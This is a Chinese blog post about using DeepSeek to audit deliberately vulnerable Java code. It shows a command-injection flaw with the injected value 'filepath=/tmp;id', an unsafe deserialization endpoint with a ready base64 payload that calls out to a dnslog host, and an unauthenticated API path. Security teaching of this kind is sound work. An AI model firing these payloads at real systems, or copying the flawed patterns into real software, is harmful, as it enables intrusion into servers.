正文
publicstatic String processbuilderVul(String filepath)throws IOException {
String[] cmdList = {"sh", "-c", "ls -l " + filepath};
ProcessBuilderpb=newProcessBuilder(cmdList);
pb.redirectErrorStream(true);
Processprocess= pb.start();
// 获取命令的输出
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("n");
}
return output.toString();
}
filepath=/tmp;id
publicStringcc(String base64) {
try {
base64 = base64.replace(" ", "+");
byte[] bytes = Base64.getDecoder().decode(base64);
ByteArrayInputStream stream = newByteArrayInputStream(bytes);
// 反序列化流,将序列化的原始数据恢复为对象
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return "反序列化漏洞";
} catch (Exception e) {
return e.toString();
}
}
java中的readObject可以读取输入,并且把它们转换对象,而ObjectInputStream.readObject()是将输入流中读取需要,再将其反序列为对象,这也就符合反序列化漏洞的特征,而要注意的就是代码中会把读取的输入用Base64解密,所以我们要构建payload时应是Base64加密的。
然后再一起看看DeepSeek的审计:
同样,DeepSeek漂亮的完成的审计工作,并且再次为我们提供了攻击思路和方法:
先生成payload:
?base64=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDZraGRjby5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly82a2hkY28uZG5zbG9nLmNueA==
随后执行看看效果:
最后给大家放一个未授权访问漏洞,也是我在实战中经常遇到的漏洞:
publicvoidaddInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(newLoginHandlerInterceptor())
.addPathPatterns("/**")
.excludePathPatterns("/vulnapi/unauth/**", "/css/**", "/js/**", "/img/**");
}
很简单的一段代码,由于代码对一些接口未做权限鉴别,所以我们可以通过这些未鉴权的接口访问未授权的信息。例如:/vulnapi/unauth。
DeepSeek审计:
/vulnapi/unauth/api/info
成功访问!
总结
在此前笔者也用过许多星火,Chatgpt等等智能大模型,经过逐个迭代它们的代码审计能力也大幅提升,但如今DeepSeek横空出世,在使用时可以明显感受到的是DeepSeek所输出的内容更加细化,在使用星火写代码或是审计代码时它出现的最大的问题就是逻辑不清晰,所以需要我们花费更多时间去构建自己的语言让其理解我们的想法,但DeepSeek很好的优化了逻辑能力,大大缩减了我们在这上面所花费的时间,在使用时唯一感到不足的就是DeepSeek因为近期众所周知的攻击事件回复速度大幅增加,有很长一段时间还会处于超时状态,希望DeepSeek能早日度过难关让中国AI技术紧跟并领先世界先进水平!
原文始发于微信公众号(flower安全):利用DeepSeek进行java代码审计,好用!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论